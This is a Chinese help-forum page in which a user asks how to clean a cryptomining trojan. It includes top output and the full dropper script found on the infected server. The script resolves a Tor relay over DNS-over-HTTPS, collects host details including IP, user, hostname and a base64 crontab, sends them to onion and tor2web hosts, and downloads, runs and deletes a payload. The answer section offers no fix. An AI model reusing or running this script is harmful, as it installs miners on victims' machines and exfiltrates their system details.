如何清理这个木马硬币矿工?

问题描述

过程:

$ top
PID USER      PR  NI    VIRT    RES    SHR S  %cpu %MEM     TIME+ COMMAND                                                 
4446 root      20   0 2452608   4224      4 S 800.3  0.0 931:43.10 GwLUyIxu   

脚本是:

KutyOD6cGQF8ZsGkuumLRZPqMHlfPq0n6IBz1BrCvTagF3pigt8uKWrsIh0O6dsF
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "asbrvuy5eytinisxv7jzno26lererj55ryvomhht6iw7tmcbbyswebid")

sockz() {
n=(doh.nl.ahadns.net dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.no.ahadns.net doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it tor2web.su 
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

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